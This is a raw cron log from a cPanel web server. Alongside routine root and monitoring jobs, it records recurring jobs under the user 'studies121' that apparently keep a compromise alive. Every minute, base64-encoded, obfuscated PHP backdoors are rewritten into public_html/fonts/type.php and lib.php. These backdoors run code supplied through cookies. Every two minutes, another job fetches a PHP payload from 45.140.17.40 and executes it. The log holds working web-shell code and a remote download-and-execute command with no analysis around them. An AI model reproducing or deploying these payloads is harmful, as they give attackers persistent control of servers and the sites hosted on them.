Sep 11 00:31:01 ip-184-168-122-23 CROND[1682]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:32:01 ip-184-168-122-23 CROND[1766]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:32:01 ip-184-168-122-23 CROND[1767]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 00:32:01 ip-184-168-122-23 CROND[1772]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:32:01 ip-184-168-122-23 CROND[1770]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:32:01 ip-184-168-122-23 CROND[1769]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:33:01 ip-184-168-122-23 CROND[1867]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:33:01 ip-184-168-122-23 CROND[1869]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:33:01 ip-184-168-122-23 CROND[1868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:33:01 ip-184-168-122-23 CROND[1870]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:34:01 ip-184-168-122-23 CROND[2029]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 00:34:01 ip-184-168-122-23 CROND[2030]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:34:01 ip-184-168-122-23 CROND[2034]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:34:01 ip-184-168-122-23 CROND[2035]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:34:01 ip-184-168-122-23 CROND[2033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:35:01 ip-184-168-122-23 CROND[2126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:35:01 ip-184-168-122-23 CROND[2129]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 00:35:01 ip-184-168-122-23 CROND[2128]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:35:01 ip-184-168-122-23 CROND[2130]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:35:01 ip-184-168-122-23 CROND[2133]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:35:01 ip-184-168-122-23 CROND[2131]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 00:35:01 ip-184-168-122-23 CROND[2132]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 11 00:35:01 ip-184-168-122-23 CROND[2134]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 00:36:01 ip-184-168-122-23 CROND[2231]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:36:01 ip-184-168-122-23 CROND[2233]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:36:01 ip-184-168-122-23 CROND[2235]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:36:01 ip-184-168-122-23 CROND[2237]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:36:01 ip-184-168-122-23 CROND[2234]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 00:37:01 ip-184-168-122-23 CROND[2326]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:37:01 ip-184-168-122-23 CROND[2325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:37:01 ip-184-168-122-23 CROND[2327]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:37:01 ip-184-168-122-23 CROND[2328]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:38:01 ip-184-168-122-23 CROND[2418]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:38:01 ip-184-168-122-23 CROND[2419]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 00:38:01 ip-184-168-122-23 CROND[2424]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:38:01 ip-184-168-122-23 CROND[2423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:38:01 ip-184-168-122-23 CROND[2422]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:39:01 ip-184-168-122-23 CROND[2584]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:39:01 ip-184-168-122-23 CROND[2585]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 00:39:01 ip-184-168-122-23 CROND[2587]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:39:01 ip-184-168-122-23 CROND[2590]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:39:01 ip-184-168-122-23 CROND[2592]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:40:01 ip-184-168-122-23 CROND[2683]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:40:01 ip-184-168-122-23 CROND[2685]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 00:40:01 ip-184-168-122-23 CROND[2686]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 00:40:01 ip-184-168-122-23 CROND[2687]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 00:40:01 ip-184-168-122-23 CROND[2688]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:40:01 ip-184-168-122-23 CROND[2691]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:40:01 ip-184-168-122-23 CROND[2690]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:40:01 ip-184-168-122-23 CROND[2689]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 00:41:01 ip-184-168-122-23 CROND[2793]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:41:01 ip-184-168-122-23 CROND[2795]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:41:01 ip-184-168-122-23 CROND[2794]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:41:01 ip-184-168-122-23 CROND[2792]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:42:01 ip-184-168-122-23 CROND[2877]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:42:01 ip-184-168-122-23 CROND[2878]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 00:42:01 ip-184-168-122-23 CROND[2881]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:42:01 ip-184-168-122-23 CROND[2880]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:42:01 ip-184-168-122-23 CROND[2879]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:43:01 ip-184-168-122-23 CROND[2980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:43:01 ip-184-168-122-23 CROND[2982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:43:01 ip-184-168-122-23 CROND[2981]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:43:01 ip-184-168-122-23 CROND[2983]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
